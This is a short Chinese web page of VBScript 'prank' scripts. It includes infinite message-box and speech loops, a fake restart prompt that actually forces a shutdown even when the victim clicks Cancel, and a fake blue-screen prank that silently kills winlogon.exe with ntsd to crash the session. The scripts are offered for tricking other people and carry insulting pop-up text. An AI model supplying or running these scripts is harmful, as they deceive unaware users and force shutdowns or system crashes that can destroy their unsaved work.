1、无限循环hi
复制代码 代码示例:
do
msgbox "hi"
loop
2、无限制的用英文报数
复制代码 代码示例:
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
3、计算机重启提示
复制代码 代码示例:
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
4、假蓝屏提醒
复制代码 代码示例:
if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0
如果觉得《vbs整人代码蓝屏_vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等》对你有帮助，请点赞、收藏，并留下你的观点哦！
